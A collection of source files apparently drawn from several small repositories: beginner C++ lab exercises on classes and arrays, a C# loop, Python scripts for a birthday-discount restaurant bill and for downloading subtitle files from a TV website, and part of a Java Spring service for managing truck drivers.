cout<<"Club Name : "<<clubname<<endl;
cout<<"Strip Colour : "<<stripColour<<endl;
cout<<"District : "<<district<<endl;
}
//setter functions
void FootballClub::setClubname(string clubname){
this-> clubname = clubname;
}
void FootballClub::setDistrict(string district){
this-> district = district;
}
void FootballClub::setStripColour(string stripColour){
this-> stripColour = stripColour;
}
void FootballClub::addSquadPlayer(Player tempSquad,int squadnumber){
squad[squadnumber].setPlayerName(tempSquad.getPlayername());
squad[squadnumber].setPosition(tempSquad.getPosition());
squad[squadnumber].printPlayerInfo();
}
void FootballClub::FirstTeamPlayers(Player tempTeam,int Teamnumber){
team[Teamnumber].setPlayerName(tempTeam.getPlayername());
team[Teamnumber].setPosition(tempTeam.getPosition());
team[Teamnumber].printPlayerInfo();
}
//getter funtions
string FootballClub::getClubname(){
return clubname;
}
string FootballClub::getDistrict(){
return district;
}
string FootballClub::getStripColour(){
return stripColour;
}
<file_sep>/lab-program-class/Lab 4/LabInfo.h
#include <iostream>
#include <iomanip>
using namespace std;
class LabInfo{
private:
int Day, Month ,Year;
public:
string Name, LabId;
void setdate(int D,int M,int Y);
void Printinfo();
};
<file_sep>/lab-Program-Club/Lab 5/player.cpp
#include"player.h"
//constructor
Player::Player(string forename,string surname){
this-> forename = forename;
this-> surname = surname;
}
//onstructor
Player::Player(string forename,string surname,int mobileNumber){
this-> forename = forename;
this-> surname = surname;
this-> mobileNumber = mobileNumber;
}
//method/funtion
void Player::printPlayerInfo(){
cout<<forename<<" "<<surname<<endl;
}
//getter funtion
string Player::getForename(){
return forename;
}
//getter funtion
string Player::getSurname(){
return surname;
}
//setter function
void Player::setName(string forename,string surname){
this-> forename = forename;
this-> surname = surname;
}
<file_sep>/Lab-Program-FootballClub/Lab 6 Read from File/football_club.h
#pragma once
#include <iostream>
#include <iomanip>
#include <fstream>
#include <sstream>
#include <string>
using namespace std;
#include"player.h"
class FootballClub{
private:
string clubname;
string district;
string stripColour;
Player squad[40];
Player team[15];
public:
//declaration of functions
FootballClub();
void setDistrict(string district);
void setClubname(string clubname);
void setStripColour(string stripColour);
void addSquadPlayer(Player tempSquad,int squadnumber);
void FirstTeamPlayers(Player tempTeam,int Teamnumber);
void PrintSquadPlayerInfo(int SquadNumber);
void ReadSquadFromFile(int Squadsize);
void printClubInfo();
string getClubname();
string getDistrict();
string getStripColour();
};
<file_sep>/Lab-Program-FootballClub/Lab 6/player.cpp
#include"player.h"
//Constructor to set all variables to blank
Player::Player(){
this-> fullname = " ";
this-> position = " ";
this-> mobileNumber = 000;
}
//print funtion
void Player::printPlayerInfo(){
cout<<fullname<<" --- "<<position<<endl;
}
//setter functions
void Player::setPlayerName(string fullname){
this-> fullname = fullname;
}
void Player::setPosition(string position){
this-> position = position;
}
void Player::setMobileNumber(int mobileNumber){
this-> mobileNumber = mobileNumber;
}
//getter funtions
string Player::getPlayername(){
return fullname;
}
string Player::getPosition(){
return position;
}
int Player::getMobileNumber(){
return mobileNumber;
}
<file_sep>/lab-programArrayPtr/Lab 3/function.h
#include <iostream>
using namespace std;
//Lab introduction
void LabInfo() {
cout << "<NAME>\n";
cout << "Lab #3" << endl;
}
//function to pass by Value and print numbers in the array and memory location of numbers
void PrintArray(int arraynum[],int Size){
for(int i = 0;i <Size; i++){
cout <<"Array Value = "<< arraynum[i] <<" Memory location = "<< &arraynum[i] <<endl;
}
}
//function to pass Array by Reference and multiply by the scalor
void ArrayByScalor(int scalor, int *j, int arraysize){ // takes the value of scalor the 1st array number and the array size
for ( int i = 0 ; i <arraysize; ++i){
*j = *j * scalor; // updates the pointer j with new value
j++ ; // increments j
}
}
//function to print 2d array in shape of Xmas tree
void XmasTree(){
string array2d[8][11]={{" X "},{" XXX "},{" XXXXX "},
{" XXXXXXX "},{" XXXXXXXXX "},{"XXXXXXXXXXX"},
{" XXX "},{" XXX "}};
for(int i=0;i < 8;++i){
for(int j=0;j <11;++j){
cout << array2d[i][j];
}
cout <<endl;
}
cout <<"HAPPY CHRISTMAS"<<endl;
}
<file_sep>/lab-Program-Club/Lab 5/football_club.h
#include <iostream>
using namespace std;
class FootballClub{
private:
string clubname;
string district;
string stripColour;
public:
//declaration of functions
FootballClub(string clubname);
FootballClub(string clubname,string district);
void setClubname(string clubname);
string getClubname();
void printClubInfo();
};
<file_sep>/lab-programArrayPtr/Lab 3/main.cpp
#include <iostream>
#include "function.h"
using namespace std;
int main(){
//Lab Task 1
LabInfo(); //calls introduction function
cout << "---------------" <<endl;
//Lab Task 2
const int arraysize = 6;
int usernum[arraysize];
for (int i = 0;i < arraysize; ++i){
cout << "Please enter Number " << i +1 << endl;
lbl1:
cin >> usernum[i];
//Checks if the user has entered the correct value between 0 and 100
if (usernum[i]<0 or usernum[i] >100){
cout << "You entered a number above 100 or below 0." <<endl;
cout << "Please re-enter a correct number" << endl;
goto lbl1;
}
}
cout << "---------------" <<endl;
//Lab Task 3
//Pass the contents of the array to the function and print value and Memory
PrintArray(usernum,arraysize);
cout << "---------------" <<endl;
//Lab Task 4
int scalor;
cout << "Please enter a Scalor Number"<<endl;
cin >> scalor;
cout << "---------------" <<endl;
//Lab Task 5
//pass the value in scalor and the reference of the first number in the array and the array size
ArrayByScalor(scalor,&usernum[0],arraysize);
cout << "Inputs multiplied by the Scalor Input" <<endl;
cout << endl;
//Pass the contents of the array to the function and print value and Memory
PrintArray(usernum,arraysize);
cout << "---------------" <<endl;
//Lab Task 7
// Calls the function Xmas Tree
XmasTree();
cout << "---------------" <<endl;
}
<file_sep>/lab-program-class/Lab 4/LabInfo.cpp
#include "LabInfo.h"
void LabInfo::setdate(int D,int M,int Y){
Day = D;
Month = M;
Year = Y;
}
void LabInfo::Printinfo(){
cout <<Name<<endl;
cout <<LabId<<endl;
cout <<setw(2)<< setfill('0')<<Day<<":"<<setw(2)<<setfill('0')<<Month<<":"<<setw(4)<<Year;
}
<file_sep>/Lab-Program-FootballClub/Lab 6 Read from File/main.cpp
#include <iostream>
#include <iomanip>
#include <fstream>
#include <sstream>
#include <string>
using namespace std;
#include"football_club.h"
#include"player.h"
int main(){
FootballClub Club;
Club.setClubname("<NAME>");
Club.setStripColour("Red and White");
Club.setDistrict("England");
Club.printClubInfo();
cout<<"\nSquad Members\n"<<endl;
int SquadSize = 35;
int Teamsize = 15;
Club.ReadSquadFromFile(SquadSize);
cout<<"------------------------"<<endl;
int SquadNumber = 5;
cout << "Squad Player Number " << SquadNumber << " = : ";
Club.PrintSquadPlayerInfo(SquadNumber);
}
<file_sep>/lab-programflow/Lab 2/Function.h
#include <iostream>
#include <ctime>
using namespace std;
//fuction to print the what's below to the screen
void LabInfo() {
cout << "<NAME>\n";
cout << "Lab #2" << endl;
}
//Function to return the area of a circle when given the radius
float AreaOfCircle(float radius){
float area,pi = 3.14159;
area = radius * radius * pi;
return area;
}
//Function to return the area of a rectangle when given the length and width
float AreaOfRectangle(float length,float width){
float area = length * width;
return area;
}
//Function to convert Celsius into Fahrenheit
float CelsiusConversion(float celsius){
float fahrenheit;
fahrenheit = (celsius/5) * 9;
fahrenheit = fahrenheit + 32;
return fahrenheit;
}
//Function to convert Fahrenheit into Celsius
float FahrenheitConversion(float fahrenheit){
float celsius;
celsius = (fahrenheit - 32) * 5;
celsius = celsius/9;
return celsius;
}
//Function to find the even numbers
void FindEvenNumbers(int check){
if(check % 2 == 0){
cout <<"The Even Numbers Between your two inputs = "<< check << endl;
}
}
//Function to find the odd numbers
void FindOddNumbers(int check){
if(check % 2 == 1){
cout <<"The Odd Numbers = "<< check << endl;
}
}
void FindOddNumbers(float check){
int Num1 = check;
if(Num1 % 2 == 1){
cout <<"The Odd Numbers = "<< check << endl;
}
}
//Function to take input of 2 numbers and return the largest
void Largest(int num1,int num2) {
if (num1 > num2){
cout << "The largest value is " << num1<<endl;
}
else if(num1 < num2){
cout << "The largest value is " << num2 <<endl;
}
else if(num1 == num2){
cout <<"The two numbers are equal"<<endl;
}
}
//Function to check the user inputs a number between 1 and 100
void NumberCheck(int userinput) {
if (userinput > 0 && userinput <= 100){
cout << "You may continue"<<endl;
}
else{
cout << "You Fool, You did not enter a number between 1 and 100" <<endl;
}
}
//Function to print out 6 Random numbers
void RandomNumbers(){
srand(time(NULL));
int num[6];
for(int i = 0;i < 6;i++){
num[i] = rand() % 100;
cout << "Random number "<< i + 1 << " = "<< num[i]<<endl;
}
}
//Function to check the temp and humidity
void TempAndHumidityCheck(float temp,float humidity){
if(temp >= 95){
cout <<"WARNING TEMPERATURE TO HIGH"<<endl;
}
if(humidity >= 90){
cout <<"WARNING HUMIDITY TO HIGH"<<endl;
}
}
//Function to Print the numbers 5 through 9:
void PrintNumber(){
int i=5;
while (i < 10){
cout << i;
cout << endl;
i = i + 1;
}
}
//Function to Find the sum 1 + 2 + 3 + ... + 20
void SumOfNumbers(){
int i = 1;
int sum = 0;
while (i <= 20){
sum = sum + i;
i = i + 1;
}
cout << "The sum = " << sum << endl;
}
// Function to get the Average of a list of grades terminated by -1
void Grades(){
int sum = 0;int count = 0;int grade =0;
cout << "Enter grade (-1 to end): "; // prompt user for grade
cin >> grade; // read grade
while (grade != -1){
sum = sum + grade;
count = count + 1;
/* Get next grade */
cout << "Enter grade (-1 to end): ";
cin >> grade;
}
if (count > 0)
cout << "Average is " << (double) sum / count<<endl;
}
//Function to print Finished 10 times using 3 different loops
void PrintFinished(){
int a = 0;int b = 0;
while(a < 3){
cout <<"Finished"<<endl;
a++;
}
do{
cout <<"Finished"<<endl;
b++;
}
while(b < 3);
for(int i = 0; i < 4; i++){
cout <<"Finished"<<endl;
}
}
<file_sep>/lab-Program-Club/Lab 5/football_club.cpp
#include"football_club.h"
//constructor
FootballClub::FootballClub(string clubname,string district){
this-> clubname = clubname;
this-> district = district;
}
//onstructor
FootballClub::FootballClub(string clubname){
this-> clubname = clubname;
}
//method/funtion
void FootballClub::printClubInfo(){
cout<<clubname<<endl;
}
//getter funtion
string FootballClub::getClubname(){
return clubname;
}
//setter function
void FootballClub::setClubname(string clubname){
this-> clubname = clubname;
}
<file_sep>/lab-programflow/Lab 2/main.cpp
#include <iostream>
using namespace std;
#include "Function.h"
int main(){
//Exercise 1 Call fuction for Lab Info
LabInfo();
//Exercise 2 Program to take in 2 numbers and print out the Largest
int num1, num2;
cout <<endl <<"Find The Largest number of two numbers"<<endl;
cout << "Please enter the first number"<<endl;
cin>>num1;
cout << "Please enter the second number"<<endl;
cin>>num2;
Largest(num1,num2);
//Exercise 3 Program to check if the user inputs a number between 1 and 100
int userinput;
cout <<endl <<"Check to make sure you input a number between 1 and 100"<<endl;
cout << "Please enter a number between 1 and 100" <<endl;
cin >> userinput;
NumberCheck(userinput);
//Exercise 4 Program to select Question or Answer from a Menu
int menu;
cout <<endl << "Menu Selection"<<endl;
lbl1:
cout << "Please press 1 for Question or press 2 for Answer" <<endl;
cin >>menu;
if(menu > 2 or menu < 1){
goto lbl1;
}
switch(menu){
case 1:
cout << "You have selected the Question" << endl;
break;
case 2:
cout << "You have selected the Answer" << endl;
break;
}
//Exercise 5 Program to print the area of a Circle when given the radius
float radius;
cout <<endl<<"Find the Area of a circle"<<endl;
cout<<"Please enter the radius of the circle"<<endl;
cin >>radius;
cout << "Area of circle is "<<AreaOfCircle(radius)<<endl;
//Exercise 6 Program to print the area of a rectangle when given the length and width
float length, width;
cout <<endl<<"Find the Area of a Rectangle"<<endl;
cout<<"Please enter the Length of the Rectangle"<<endl;
cin >>length;
cout<<"Please enter the Width of the Rectangle"<<endl;
cin >>width;
cout << "Area of Rectangle is "<<AreaOfRectangle(length,width)<<endl;
//Exercise 7 Program to check if the Temp and Humidty are too high
int temp, humidity;
cout <<endl<<"Temperature and Humidity check"<<endl;
cout<<"Please enter the Temperature"<<endl;
cin >>temp;
cout<<"Please enter the humidity"<<endl;
cin >>humidity;
TempAndHumidityCheck(temp, humidity);
//Exercise 8 Program to print the range of area's of a circle when the radius is 0 - 120
float radius1;
cout <<endl<<"Find the Area of a circle with Radius from 1 to 120"<<endl;
for(int i=0;i <= 120;i++){
radius1 = i;
cout <<"Radius = "<<radius1<<endl;
cout << "Area of circle is "<<AreaOfCircle(radius1)<<endl;
cout << "---------------------------------------------"<<endl;
}
//Exercise 9 Program to convert celsius and fahrenheit
int selection;
float fahrenheit, celsius;
cout <<endl<<"Temperature Conversion"<<endl;
lbl2:
cout << "Press 1 to convert Celsius to Fahrenheit"<<endl;
cout << "Press 2 to convert Fahrenheit to Celsius"<<endl;
cin >> selection;
if(selection > 2 or selection < 1){
goto lbl2;
}
if(selection == 1){
cout << "Please enter a Celsius value to convert to Fahrenheit"<<endl;
cin >> celsius;
cout << celsius << " Degrees Celsius = "<< CelsiusConversion(celsius) <<" Degrees Fahrenheit"<<endl;
}
if(selection == 2){
cout << "Please enter a Fahrenheit value to convert to Celsius"<<endl;
cin >> fahrenheit;
cout << fahrenheit << " Degrees Fahrenheit = "<< FahrenheitConversion(fahrenheit) <<" Degrees celsius"<<endl;
}
//Exercise 10 Program to Print all the even numbers from 0 - 1000
int range = 1000;
cout <<endl<<"Find all the even numbers from 0 to 100"<<endl;
for(int num = 0 ;num <= range; num++){
FindEvenNumbers(num);
}
//Exercise 11 Program to print all the odd numbers in between the user inputs
int usernum1;
int usernum2;
cout <<endl<<"Find all odd numbers between 2 user inputs"<<endl;
cout << "Please enter the 1st number " <<endl;
cin >> usernum1;
cout << "Please enter the 2nd number " <<endl;
cin >> usernum2;
for(;usernum1 <= usernum2; usernum1++){
FindOddNumbers(usernum1);
}
//Exercise 12 Program to print all the odd radius results from previous eercise
cout <<endl<<"Find all the odd radius results from above"<<endl;
for(int i=0;i <= 120;i++){
AreaOfCircle(i);
FindOddNumbers(AreaOfCircle(i));
}
//Exercise 13 Program to Print 6 Random numbers
cout <<endl<<"Print 6 Random Numbers"<<endl;
RandomNumbers();
//Exercise 14 program to call 3 functions
cout <<endl<<"Print Numbers from 5 to 9"<<endl;
PrintNumber();
cout <<endl<<"Print sum of numbers 1 to 20"<<endl;
SumOfNumbers();
cout <<endl<<"Average of all grades entered"<<endl;
Grades();
//Exercise 15 print Finished 10 times
cout <<endl<<"Print Finished 10 times"<<endl;
PrintFinished();
return 0;
}
<file_sep>/lab-Program-Club/Lab 5/player.h
#include <iostream>
using namespace std;
class Player{
private:
string forename;
string surname;
string position;
int mobileNumber;
public:
//declaration of functions
Player(string forename,string surname,int mobileNumber);
Player(string forename,string surname);
void printPlayerInfo();
string getForename();
void setName(string forename,string surname);
string getSurname();
};
<file_sep>/Lab-Program-FootballClub/Lab 6 Read from File/player.h
#pragma once
#include <iostream>
using namespace std;
class Player{
private:
string fullname;
string position;
int mobileNumber;
int SquadNumber;
public:
//declaration of functions
Player();
void printPlayerInfo();
void setPlayerName(string fullname);
void setPosition(string position);
void setMobileNumber(int mobileNumber);
void setPlayerSquadNumber(int SquadNumber);
string getPlayername();
string getPosition();
int getMobileNumber();
};
<file_sep>/lab-Program-Club/Lab 5/main.cpp
#include <iostream>
using namespace std;
#include"football_club.h"
#include"player.h"
int main(){
//setting using constructors
FootballClub club1("Man Utd");
Player person1("Eric","Cantona");
//prints using print functions
club1.printClubInfo();
person1.printPlayerInfo();
cout<<"*********************"<<endl;
//setting using setter functions
club1.setClubname("Arsenal");
person1.setName("Marc","Overmars");
//prints using getter funstions
cout<<club1.getClubname()<<endl;
cout<<person1.getForename()<<" "<<person1.getSurname()<<endl;
}
<file_sep>/Lab-Program-FootballClub/Lab 6/main.cpp
#include <iostream>
#include <iomanip>
#include <fstream>
#include <sstream>
#include <string>
using namespace std;
#include"football_club.h"
#include"player.h"
int main(){
FootballClub Club;
Club.setClubname("Man Utd");
Club.setStripColour("Red and White");
Club.setDistrict("England");
Club.printClubInfo();
cout<<"\nSquad Members\n"<<endl;
int SquadSize = 2;
Player player[SquadSize];
player[1].setPlayerName("<NAME>");
player[1].setPosition("Forward");
player[2].setPlayerName("<NAME>");
player[2].setPosition("Mid-Fielder");
for(int i = 1;i <= SquadSize;++i){
Club.addSquadPlayer(player[i],i);
}
cout << "\nFirst Team Players\n"<<endl;
for(int i = 1;i <= 2;++i){
Club.FirstTeamPlayers(player[i],i);
}
}
<file_sep>/lab-program-class/Lab 4/main.cpp
#include <iostream>
#include <iomanip>
using namespace std;
#include "LabInfo.h"
/*
class LabInfo{
public:
string Name, LabId;
private:
int Day, Month ,Year;
public:
void setdate(int D,int M,int Y){
Day = D;
Month = M;
Year = Y;
}
void Printinfo(){
cout <<Name<<endl;
cout <<LabId<<endl;
cout <<Day<<":"<<Month<<":"<<Year;
}
};
*/
int main(){
LabInfo Lab4;
Lab4.Name = "<NAME>";
Lab4.LabId = "Lab 4";
Lab4.setdate(12,02,2021);
//Lab4.Day = 12;
//Lab4.Month = 02;
//Lab4.Year = 2021;
Lab4.Printinfo();
return 0;
}
| 155dc5dc238328cf5bccdd7599815c61ec58470b | [
"C++"
] | 18 | C++ | Patrickdevaney01/gmit-course-cpp | 30c350d3c5df260e5f85291799be032d401d744b | 0a5c26764bff45f546fe53ea03957012018e2219 |
refs/heads/main | <repo_name>shaonaziz/Restuarant_bill_discount<file_sep>/main.py
import datetime;
menu = int(input("ORDER PLEASE \n 1.Pasta \n 2.Rice \n 3.Cake \n \n Select Yours: "))
if menu == 1:
print("\nPasta with 340 BDT ")
date_entry = input('Enter You date of birth in YYYY-MM-DD format: ')
year, month, day = map(int, date_entry.split('-'))
date1 = datetime.date(year, month, day)
pyear=datetime.datetime.now().year
pmonth=datetime.datetime.now().month
pday=datetime.datetime.now().day
quantity=int(input('Quantity: '))
age=pyear-year;
if(month==pmonth and day==pday):
print('Congratulation Today is Your Birthday ! Enjoy Our offer!')
if(age>=0 and age<=25):
pasta=340
discount=(pasta*quantity)*35/100;
total_bill=pasta*quantity-discount;
print('Today You been ' ,age,'Years Old')
print("Happy Birthday! You Got the discount 15% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
elif(age>=60):
pasta=340
discount=(pasta*quantity)*50/100;
total_bill=pasta*quantity-discount;
print("Happy Birthday! You Got the discount 30% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
else:
pasta=340
discount=(pasta*quantity)*25/100;
total_bill=pasta*quantity-discount;
print("Happy Birthday! You Got the discount 5% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
else:
pasta=340
print('Today is not Your Birthday')
print('Your Total Bill is ',pasta*quantity)
print('Thank you so Much for Ordering!!😍')
conform =int(input("\n confirm to press one :"))
if conform ==1:
print("\n Order confirmed!! ")
else:
print("Select correct option")
elif menu == 2:
print("\n Rice with 150 BDT")
date_entry = input('Enter You date of birth in YYYY-MM-DD format: ')
year, month, day = map(int, date_entry.split('-'))
date1 = datetime.date(year, month, day)
pyear=datetime.datetime.now().year
pmonth=datetime.datetime.now().month
pday=datetime.datetime.now().day
quantity=int(input('Quantity: '))
age=pyear-year;
if(month==pmonth and day==pday):
print('Congratulation Today is Your Birthday ! Enjoy Our offer!')
if(age>=0 and age<=25):
Rice=150
discount=(Rice*quantity)*15/100;
total_bill=Rice*quantity-discount;
print('Today You been ' ,age,'Years Old')
print("Happy Birthday! You Got the discount 15% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
elif(age>=60):
Rice=150
discount=(Rice*quantity)*30/100;
total_bill=Rice*quantity-discount;
print("Happy Birthday! You Got the discount 30% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
else:
Rice=150
discount=(Rice*quantity)*5/100;
total_bill=Rice*quantity-discount;
print("Happy Birthday! You Got the discount 5% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
else:
Rice=150
print('Today is not Your Birthday')
print('Your Total Bill is ',Rice*quantity)
print('Thank you so Much for Ordering!!😍')
confirm = int(input("\nconform to press one"))
if confirm == 1:
print("\n Order confirmed")
else:
print("chose correct option")
elif menu == 3:
print("\n Cake with 250 BDT")
date_entry = input('Enter You date of birth in YYYY-MM-DD format: ')
year, month, day = map(int, date_entry.split('-'))
date1 = datetime.date(year, month, day)
pyear=datetime.datetime.now().year
pmonth=datetime.datetime.now().month
pday=datetime.datetime.now().day
quantity=int(input('Quantity: '))
age=pyear-year;
if(month==pmonth and day==pday):
print('Congratulation Today is Your Birthday ! Enjoy Our offer!')
if(age>=0 and age<=25):
Cake=250
discount=(Cake*quantity)*15/100;
total_bill=Cake*quantity-discount;
print('Today You been ' ,age,'Years Old')
print("Happy Birthday! You Got the discount 15% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
elif(age>=60):
Cake=250
discount=(Cake*quantity)*30/100;
total_bill=Cake*quantity-discount;
print("Happy Birthday! You Got the discount 30% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
else:
Cake=250
discount=(Cake*quantity)*5/100;
total_bill=Cake*quantity-discount;
print("Happy Birthday! You Got the discount 5% ")
print("After discount Total bill is: ",total_bill,'BDT')
print('Thank you so Much for Ordering!!😍')
else:
Cake=250
print('Today is not Your Birthday')
print('Your Total Bill is ',Cake*quantity)
print('Thank you so Much for Ordering!!😍')
conform = int(input("\n conform to press one"))
if conform == 1:
print("\n Order confirmed")
else:
print("chose correct option")
else:
print("\n WRONG SELECTION") | 986a84315de6e97d5668d0b81015f15c379a3beb | [
"Python"
] | 1 | Python | shaonaziz/Restuarant_bill_discount | cadc67c6bb62a048dcf79d4ea6ee72e2d0122c1d | a7bdaa54b23f8a987efcffc33796831738569985 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Holamundo
{
class Program
{
static void Main(string[] args) {
int lenght = 10;
ConsoleColor Color_de_la_consola =ConsoleColor.White;
for (int i = 0; i < lenght; i++) {
Color_de_la_consola = ConsoleColor.White;
Console.BackgroundColor = Color_de_la_consola;
Console.WriteLine("Hola mundo");
}//Imprimir lenght veces hola mundo
Console.ReadKey();
}
}
} | c3151885077a69672e7db09b4599b4337bf6f528 | [
"C#"
] | 1 | C# | frNNcs/Proyectos | 03bfb1853d7f46f9f16a9d270c77a2a1de13ebcd | 7a466b726b06243bd3858307f967fa520693bff7 |
refs/heads/main | <repo_name>rahmictas/foxsubtitle<file_sep>/main.py
import requests
import base64
import urllib.request
import urllib.parse
while True:
print('Dizinin bölüm linkini kopyala ve entere bas ya da çıkmak için q ya bas')
site = input()
if site == "q":
break
elif site == "Q":
break
else:
r = requests.get(site)
dosya = r.text
baslangic = dosya.find('vpaidMode :')
bitis = dosya.find('skipTime :')
a = baslangic+59
b = bitis-69
dekod = ""
for i in range(a, b+1):
dekod += dosya[i]
data = base64.b64decode(dekod)
sonuc = data.decode("ascii")
uzanti = '.vtt'
q = requests.get(sonuc)
altyazi = q.text
response = urllib.request.urlopen(sonuc)
webcontent = response.read()
print('Dosya adı giriniz')
dosyaAd = input()
dosyaAdi = dosyaAd + uzanti
f = open(dosyaAdi, 'wb')
f.write(webcontent)
f.close()
<file_sep>/README.md
# foxsubtitle
FoxTrSubtitleDownload
fox.com.tr sitesindeki videolardan .vtt uzantılı altyazıları indirmeye yarayan basit bir komut satırı uygulaması.
siteden çektiği base64 encode'lu altyazı linkini decode eder ve projenin bulunduğu klasöre istediğiniz isimle kaydetmeye yarar.
| 08245310cf29592730b998d0100466e85d878cba | [
"Markdown",
"Python"
] | 2 | Python | rahmictas/foxsubtitle | 1b58df0f62d970b0dde7f4aab5815009235282e7 | 42ad3c28a91fbb50929ab8dc09b5919ec738d746 |
refs/heads/master | <file_sep>const scrapeIt = require("scrape-it");
exports.scrape1 = () => {
// Promise interface
const response = scrapeIt("http://terapia-fala.pt", {
title: "header h1"
, desc: "header h2"
, avatar: {
selector: "header img"
, attr: "src"
}
});
return response;
}; | 1b889803d027bf92206c4d36a33b4835a989c64f | [
"JavaScript"
] | 1 | JavaScript | WebPaquitos/public-hospital-contest-finder | 9f19c4941251a7c6fbc957701b1f2c1c99e3beb8 | 4601ecdb8b60a06471e06ca408ebdfd819ccdb24 |
refs/heads/main | <repo_name>chirag4601/truckApi<file_sep>/src/main/java/com/truckdriver/driver/service/DriverServiceImpl.java
package com.truckdriver.driver.service;
import java.util.List;
import java.util.Optional;
import java.util.UUID;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.PageRequest;
import org.springframework.data.domain.Pageable;
import org.springframework.data.domain.Sort;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import com.truckdriver.driver.Exception.EntityNotFoundException;
import com.truckdriver.driver.constantMessages.Constants;
import com.truckdriver.driver.model.DriverRequest;
import com.truckdriver.driver.model.DriverResponse;
import lombok.extern.slf4j.Slf4j;
import sharedDao.DriverRepository;
import sharedEntity.Driver;
@Service
@Slf4j
public class DriverServiceImpl implements DriverService {
@Autowired
DriverRepository driverRepository;
@Override
@Transactional(readOnly = true, rollbackFor = Exception.class)
public Driver getDriverById(String driverId) {
Optional<Driver> d = (driverRepository.findById(driverId));
if (d.isEmpty()) {
EntityNotFoundException ex = new EntityNotFoundException(Driver.class, "driverId", driverId.toString());
log.error(String.valueOf(ex));
throw ex;
}
log.info("Driver Data returned");
return d.get();
}
@Override
@Transactional(rollbackFor = Exception.class)
public DriverResponse addDriver(DriverRequest driverRequest) {
DriverResponse driverResponse = new DriverResponse();
Driver d = new Driver();
String driverid = "driver:" + UUID.randomUUID();
d.setDriverId(driverid);
d.setTransporterId(driverRequest.getTransporterId());
d.setPhoneNum(driverRequest.getPhoneNum());
d.setDriverName(driverRequest.getDriverName());
if (driverRequest.getTruckId() != null) {
d.setTruckId(driverRequest.getTruckId());
}
driverRepository.save(d);
log.info("Driver Data is saved");
driverResponse.setDriverId(driverid);
driverResponse.setStatus(Constants.driverAdded);
driverResponse.setDriverName(d.getDriverName());
driverResponse.setPhoneNum(d.getPhoneNum());
driverResponse.setTransporterId(d.getTransporterId());
driverResponse.setTruckId(d.getTruckId());
log.info("Post Service Response returned");
return driverResponse;
}
@Override
@Transactional(rollbackFor = Exception.class)
public DriverResponse updateDriver(String driverId, DriverRequest driverRequest) {
DriverResponse driverResponse = new DriverResponse();
Driver d = driverRepository.findById(driverId).orElse(null);
if (d == null) {
EntityNotFoundException ex = new EntityNotFoundException(Driver.class, "driverId", driverId.toString());
log.error(String.valueOf(ex));
throw ex;
}
if (driverRequest.getDriverName() != null) {
d.setDriverName(driverRequest.getDriverName());
}
if (driverRequest.getTruckId() != null) {
d.setTruckId(driverRequest.getTruckId());
}
driverRepository.save(d);
log.info("Driver Data is updated");
driverResponse.setDriverId(driverId);
driverResponse.setStatus(Constants.updateSuccess);
driverResponse.setDriverName(d.getDriverName());
driverResponse.setPhoneNum(d.getPhoneNum());
driverResponse.setTransporterId(d.getTransporterId());
driverResponse.setTruckId(d.getTruckId());
log.info("Put Service Response returned");
return driverResponse;
}
@Override
@Transactional(rollbackFor = Exception.class)
public DriverResponse deleteDriver(String driverId) {
DriverResponse driverResponse = new DriverResponse();
Driver d = driverRepository.findById(driverId).orElse(null);
if (d == null) {
EntityNotFoundException ex = new EntityNotFoundException(Driver.class, "driverId", driverId.toString());
log.error(String.valueOf(ex));
throw ex;
}
driverRepository.delete(d);
log.info("Deleted");
driverResponse.setStatus(Constants.deleteSuccess);
log.info("Deleted Service Response returned");
return driverResponse;
}
@Override
@Transactional(readOnly = true, rollbackFor = Exception.class)
public List<Driver> getAllDrivers(String transporterId, String phoneNum, String truckId,
Integer pageNo) {
if(pageNo==null)
pageNo=0;
Pageable currentPage=PageRequest.of(pageNo, Constants.pageSize, Sort.Direction.DESC, "timestamp");
if (transporterId != null && phoneNum == null && truckId == null) {
log.info("Driver Data with params returned");
return driverRepository.findByTransporterId(transporterId,currentPage);
}
if (phoneNum != null && truckId == null && transporterId == null) {
log.info("Driver Data with params returned");
return driverRepository.findByPhoneNum(phoneNum,currentPage);
}
if (truckId != null && transporterId == null && phoneNum == null) {
log.info("Driver Data with params returned");
return driverRepository.findByTruckId(truckId,currentPage);
}
if (transporterId != null && phoneNum != null && truckId == null) {
log.info("Driver Data with params returned");
return driverRepository.findByPhoneNumAndTransporterId(phoneNum, transporterId,currentPage);
}
if (transporterId != null && phoneNum == null && truckId != null) {
log.info("Driver Data with params returned");
return driverRepository.findByTruckIdAndTransporterId(truckId, transporterId,currentPage);
}
if (transporterId == null && phoneNum != null && truckId != null) {
log.info("Driver Data with params returned");
return driverRepository.findByPhoneNumAndTruckId(phoneNum, truckId,currentPage);
}
if (transporterId != null && phoneNum != null && truckId != null) {
log.info("Driver Data with params returned");
return driverRepository.findByPhoneNumAndTransporterIdAndTruckId(phoneNum, transporterId,truckId,currentPage);
}
log.info("Driver Data get all method called");
return driverRepository.findAllDrivers(currentPage);
}
}
<file_sep>/src/main/java/com/truckdriver/driver/constantMessages/Constants.java
package com.truckdriver.driver.constantMessages;
public class Constants {
public static String transporterIdError = "Enter Transporter Id";
public static String driverNameError = "Enter Driver Name";
public static String phoneNumError1 = "Enter Phone number";
public static String phoneNumError2 = "Enter valid 10 digit Phone Number";
public static String phoneNumError3 = "The mobile number is already associated with the given transporter Id";
public static String driverAdded = "Driver details added successfully.";
public static String updateSuccess = "Driver details Updated Succcessfully";
public static String AccountNotFoundError = "Account not found";
public static String deleteSuccess = "Deleted Succcessfully";
public static final int pageSize = 15;
}
<file_sep>/src/main/java/com/truckdriver/driver/service/DriverService.java
package com.truckdriver.driver.service;
import java.util.List;
import com.truckdriver.driver.model.DriverRequest;
import com.truckdriver.driver.model.DriverResponse;
import sharedEntity.Driver;
public interface DriverService {
